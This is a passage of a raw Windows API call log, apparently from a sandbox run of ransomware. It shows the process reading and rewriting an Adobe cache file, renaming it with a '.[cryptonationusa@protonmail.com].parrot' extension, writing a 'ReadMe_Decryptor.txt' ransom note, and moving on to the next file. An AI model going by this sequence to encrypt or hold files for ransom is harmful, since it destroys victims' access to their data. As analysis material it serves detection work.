[0035.069] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd0dc, nNumberOfBytesToLockHigh=0x0) returned 1 [0035.069] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0035.069] ReadFile (in: hFile=0x274, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0035.071] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0035.071] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xcfc4, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0xcfc4, lpOverlapped=0x0) returned 1 [0035.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0035.072] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0035.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0035.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0035.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0035.072] GetLastError () returned 0x0 [0035.072] SetLastError (dwErrCode=0x0) [0035.072] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0035.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0035.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb8c8 [0035.073] GetLastError () returned 0x0 [0035.073] SetLastError (dwErrCode=0x0) [0035.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0035.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0035.073] GetLastError () returned 0x0 [0035.073] SetLastError (dwErrCode=0x0) [0035.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0035.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606998 [0035.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0035.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0035.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0035.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0035.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x689248 [0035.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0035.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x68d288 [0035.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x689248 | out: hHeap=0x5b0000) returned 1 [0035.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10033) returned 0x2210048 [0035.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68d288 | out: hHeap=0x5b0000) returned 1 [0035.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0035.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0035.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.075] GetLastError () returned 0x0 [0035.075] SetLastError (dwErrCode=0x0) [0035.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0035.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0035.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0035.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0035.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0035.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0035.076] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x606ae8 [0035.076] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5cbeb0 [0035.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606ae8 | out: hHeap=0x5b0000) returned 1 [0035.076] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0035.076] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0035.076] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0035.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.076] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0035.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0035.076] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0035.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.076] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0035.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0035.076] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0035.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.076] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0035.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0035.076] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0035.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0035.076] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d4e8 [0035.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0035.076] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0035.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d4e8 | out: hHeap=0x5b0000) returned 1 [0035.076] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0035.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.076] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0035.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0035.076] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x606ae8 [0035.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0035.076] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x606b80 [0035.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606ae8 | out: hHeap=0x5b0000) returned 1 [0035.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x60cdc0 [0035.077] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606b80 | out: hHeap=0x5b0000) returned 1 [0035.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5cc550 [0035.077] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0035.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0035.077] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0035.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0035.077] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0035.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0035.077] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0035.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0035.077] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0035.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0035.077] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0035.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x2220088 [0035.077] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0035.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5cce58 [0035.077] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2220088 | out: hHeap=0x5b0000) returned 1 [0035.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x689248 [0035.077] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0035.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x68c1e0 [0035.077] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x689248 | out: hHeap=0x5b0000) returned 1 [0035.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x690930 [0035.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68c1e0 | out: hHeap=0x5b0000) returned 1 [0035.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x697410 [0035.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x690930 | out: hHeap=0x5b0000) returned 1 [0035.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x2220088 [0035.079] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x697410 | out: hHeap=0x5b0000) returned 1 [0035.079] WriteFile (in: hFile=0x274, lpBuffer=0x22200a0*, nNumberOfBytesToWrite=0xd0e8, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x22200a0*, lpNumberOfBytesWritten=0x18e8f4*=0xd0e8, lpOverlapped=0x0) returned 1 [0035.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2220088 | out: hHeap=0x5b0000) returned 1 [0035.081] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd0dc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0035.081] CloseHandle (hObject=0x274) returned 1 [0035.085] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x606ae8 [0035.085] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x5cc550 [0035.085] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606ae8 | out: hHeap=0x5b0000) returned 1 [0035.085] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0035.086] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0035.086] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0035.086] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0035.086] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x606ae8 [0035.086] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x606b80 [0035.086] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0035.086] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0035.087] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e6e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x274 [0035.087] GetFileType (hFile=0x274) returned 0x1 [0035.087] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0035.097] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroFnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 0 [0035.097] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x606ae8 [0035.097] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0035.097] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0035.097] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0035.098] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xa5d6e160, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5d6e160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.098] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xa5d48000, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xd0e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroFnt10.lst.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACROFN~1.PAR")) returned 1 [0035.098] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5cc8d0 [0035.098] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc8d0 | out: hHeap=0x5b0000) returned 1 [0035.098] lstrcmpW (lpString1="AcroFnt10.lst.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0035.098] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5cbeb0 [0035.098] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa5d6e160, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa5d6e160, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5d6e160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0035.098] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0035.098] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.098] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0035.098] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa5d6e160, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa5d6e160, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5d6e160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0035.098] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606ae8 | out: hHeap=0x5b0000) returned 1 [0035.098] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0035.098] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0035.098] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xee0c3750, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharedDataEvents", cAlternateFileName="SHARED~1")) returned 1 [0035.098] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0035.098] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.098] lstrcmpW (lpString1="SharedDataEvents", lpString2="ReadMe_Decryptor.txt") returned 1 [0035.098] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\shareddataevents"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x26c [0035.183] GetFileSize (in: hFile=0x26c, lpFileSizeHigh=0x18ec60 | out: lpFileSizeHigh=0x18ec60*=0x0) returned 0x1400 [0035.183] LockFile (hFile=0x26c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1518, nNumberOfBytesToLockHigh=0x0) returned 1 [0035.183] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0035.183] ReadFile (in: hFile=0x26c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0035.185] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0035.186] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x1400, lpOverlapped=0x0) returned 1 [0035.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0035.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0035.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0035.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0035.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0035.187] GetLastError () returned 0x0 [0035.187] SetLastError (dwErrCode=0x0) [0035.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0035.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0035.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb8c8 [0035.187] GetLastError () returned 0x0 [0035.187] SetLastError (dwErrCode=0x0) [0035.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0035.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0035.187] GetLastError () returned 0x0 [0035.187] SetLastError (dwErrCode=0x0) [0035.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0035.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606998 [0035.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0035.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0035.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0035.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0035.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0035.188] GetLastError () returned 0x0 [0035.188] SetLastError (dwErrCode=0x0) [0035.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0035.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0035.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0035.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0035.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0035.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0035.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5cbfb8 [0035.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x606a50 [0035.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbfb8 | out: hHeap=0x5b0000) returned 1 [0035.188] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0035.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0035.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0035.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0035.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0035.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0035.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0035.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0035.188] RtlAllocateHeap 